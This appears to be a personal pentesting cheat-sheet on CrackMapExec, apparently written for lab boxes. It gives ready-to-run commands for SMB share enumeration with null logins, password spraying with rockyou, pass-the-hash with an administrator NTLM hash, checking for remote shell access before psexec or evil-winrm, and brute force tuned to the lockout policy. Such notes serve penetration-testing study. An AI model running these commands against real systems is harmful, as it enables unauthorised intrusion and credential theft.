crackmapexec or cme | pass pol

crackmapexec smb 10.6.0.2 -u 'SAccount' -p /usr/share/wordlists/rockyou.txt

This does the same job as hydra but this tool is more faster than hydra. 

you can use crackmapexec or cme interchangeably.

installation of crackmapexec:

https://github.com/byt3bl33d3r/CrackMapExec

sudo python3 -m pip install pipx

sudo pipx ensurepath or pipx ensurepath 

sudo apt-get install python3-venv

pipx install crackmapexec 

once it is installed now type cme -h

you can also enumerate shares using cme - crackmapexec. smbclient will not tell you whether you have read or write access on the share folder or not. crackmapexec will tell you that. smbmap will also tell you that. 

lets see how we can enumerate shares using cme:

cme smb 10.10.10.192

or

cme smb 10.10.10.192 --shares

or

cme smb 10.10.10.192 --shares -u ''  (using two single quote separately)

or

cme smb 10.10.10.192 --shares -u '' -p ''  (using two single quote separately)

or

cme smb 10.10.10.192 --shares -u 'PleaseSub'

or cme smb 10.10.10.192 --shares -u 'PleaseSub' -p ''   (this worked actually, see the above ss) 

 

The above image shows another way to access shares using cme when you have username and password known. when you have special character in your password, put password in between the single or double quotes. 

we can also send hash while using crackmapexec:

cme smb 10.10.10.192 -u svc_backup -H <ntlm hash for example>  (if you dont get any failed message then run the below command as well to see pwned or not. 

cme winrm smb 10.10.10.192 -u svc_backup -H <ntlm hash for example>

to see you able to get a remote shell on a remote box:

if you see pwn3d comes as the result then you can launch evil-winrm

crackmapexec  winrm 10.10.10.192 -u NAccount -p H4cky21

before using psexec use crackmapexec to see pwn3d comes or not in the result. when you see pwn3d then you may assume that you can do psexec

crackmapexec smb 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee

if pwn3d comes then use psexec to pass this administrator hash to the remote box. 

 

using crackmapexec to check account lockout policy:

crackmapexec smb 10.10.10.161 --pass-pol 

or 

crackmapexec smb 10.10.10.161 --pass-pol -u ' ' -p ' '   

(null authentication works for AD that are upgraded from 2003. latest install does not let you do this) if you see this working put it on your pentest report. latest windows requires credentials.

if we see account lockout threshold is 0 then we can safely brute force.

 

we can also use crackmapexec to brute force smb:

crackmapexec smb 10.10.10.161 -u userlist.out -p pwlist.txt 

 

Avi